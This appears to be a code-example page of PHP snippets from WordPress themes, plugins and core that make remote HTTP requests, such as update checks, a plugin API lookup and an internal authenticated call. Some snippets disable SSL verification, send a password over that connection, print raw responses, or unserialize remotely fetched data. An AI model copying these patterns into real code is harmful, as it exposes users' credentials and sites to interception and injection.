        $options = apply_filters('calibrefx_update_remote_post_options', array('body' => array('theme_name' => 'calibrefx', 'theme_version' => FRAMEWORK_VERSION, 'url' => home_url(), 'wp_version' => $wp_version, 'php_version' => phpversion(), 'user-agent' => "WordPress/{$wp_version};")));
        $response = wp_remote_post($url, $options);
        $calibrefx_update = wp_remote_retrieve_body($response);
        /** If an error occurred, return FALSE, store for 48 hour */
        if ('error' == $calibrefx_update || is_wp_error($calibrefx_update) || !is_serialized($calibrefx_update)) {
            set_transient('calibrefx-update', array('new_version' => FRAMEWORK_VERSION), 60 * 60 * 48);
            return false;
        }
        /** Else, unserialize */
        $calibrefx_update = maybe_unserialize($calibrefx_update);
        /** And store in transient for 48 hours */
        set_transient('calibrefx-update', $calibrefx_update, 60 * 60 * 48);
    }
    /** If we're already using the latest version, return false */
    if (version_compare(FRAMEWORK_VERSION, $calibrefx_update['new_version'], '>=')) {
        return false;
    }
    return $calibrefx_update;
}
コード例 #28
0
 public static function remote($url = FALSE, $post_vars = FALSE, $args = array())
 {
     static $http_response_filtered = false;
     /* Apply GZ filters only once. */
     /**/
     $args = !is_array($args) ? array() : $args;
     /* Disable SSL verifications. */
     $args["sslverify"] = !isset($args["sslverify"]) ? false : $args["sslverify"];
     /**/
     if (!$http_response_filtered && ($http_response_filtered = true)) {
         add_filter("http_response", "c_ws_plugin__qcache_utils_urls::_remote_gz_variations");
     }
     /**/
     if ($url) {
         if (preg_match("/^https/i", $url) && strtolower(substr(PHP_OS, 0, 3)) === "win") {
             add_filter("use_curl_transport", "__return_false", $curl_disabled = 1352);
         }
         /**/
         if ((is_array($post_vars) || is_string($post_vars)) && !empty($post_vars)) {
             $args = array_merge($args, array("method" => "POST", "body" => $post_vars));
         }
         /**/
         $body = wp_remote_retrieve_body(wp_remote_request($url, $args));
         /**/
         if ($curl_was_disabled_by_this_routine_with_1352_priority = $curl_disabled) {
             remove_filter("use_curl_transport", "__return_false", 1352);
         }
         /**/
         return $body;
         /* The body content received. */
     }
     /**/
     return false;
     /* Else return false. */
 }
コード例 #29
0
/**
 * Retrieve plugin installer pages from WordPress Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care, when
 * overriding the filters.
 *
 * The first filter, 'plugins_api_args', is for the args and gives the action as
 * the second parameter. The hook for 'plugins_api_args' must ensure that an
 * object is returned.
 *
 * The second filter, 'plugins_api', is the result that would be returned.
 *
 * @since 2.7.0
 *
 * @param string $action
 * @param array|object $args Optional. Arguments to serialize for the Plugin Info API.
 * @return object plugins_api response object on success, WP_Error on failure.
 */
function plugins_api($action, $args = null)
{
    if (is_array($args)) {
        $args = (object) $args;
    }
    if (!isset($args->per_page)) {
        $args->per_page = 24;
    }
    // Allows a plugin to override the WordPress.org API entirely.
    // Use the filter 'plugins_api_result' to merely add results.
    // Please ensure that a object is returned from the following filters.
    $args = apply_filters('plugins_api_args', $args, $action);
    $res = apply_filters('plugins_api', false, $action, $args);
    if (false === $res) {
        $request = wp_remote_post('http://api.wordpress.org/plugins/info/1.0/', array('timeout' => 15, 'body' => array('action' => $action, 'request' => serialize($args))));
        if (is_wp_error($request)) {
            $res = new WP_Error('plugins_api_failed', __('An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="http://wordpress.org/support/">support forums</a>.'), $request->get_error_message());
        } else {
            $res = maybe_unserialize(wp_remote_retrieve_body($request));
            if (!is_object($res) && !is_array($res)) {
                $res = new WP_Error('plugins_api_failed', __('An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="http://wordpress.org/support/">support forums</a>.'), wp_remote_retrieve_body($request));
            }
        }
    } elseif (!is_wp_error($res)) {
        $res->external = true;
    }
    return apply_filters('plugins_api_result', $res, $action, $args);
}
コード例 #30
0
ファイル: wwit-vm-call.php プロジェクト: jbeegle/wp_it_app
function http_call()
{
    // if the submit button is clicked, send the email
    if (isset($_POST['http-submitted'])) {
        // sanitize form values
        $name = sanitize_text_field($_POST["http-name"]);
        $email = sanitize_email($_POST["http-email"]);
        $application = sanitize_text_field($_POST["http-application"]);
        $password = $_POST["http-password"];
        //        $DispForm = False;
        // setup the http call
        /* UCD test site
        $url = 'https://rtpucd01-srv.tivlab.raleigh.ibm.com:8443/cli/application/';
        */
        /* vLaunch test site
        $url = 'https://vlaunch.rtp.raleigh.ibm.com/groups';
        */
        $url = 'https://rtpucd01-srv.tivlab.raleigh.ibm.com:8443/cli/application/';
        $args = array('headers' => array('Authorization' => 'Basic ' . base64_encode($name . ':' . $password)), 'sslverify' => false);
        $response = wp_remote_get($url, $args);
        print_r($response);
        $response_code = wp_remote_retrieve_response_code($response);
        print_r($response_code);
        // If http has been processed, display a success message
        if ($response_code == '200') {
            echo '<div>';
            echo '<p>http call successful, result is:</p>';
            echo '</div>';
            $body = wp_remote_retrieve_body($response);
            print_r($response_code);
        } else {
            echo 'An unexpected error occurred';
        }
    }
}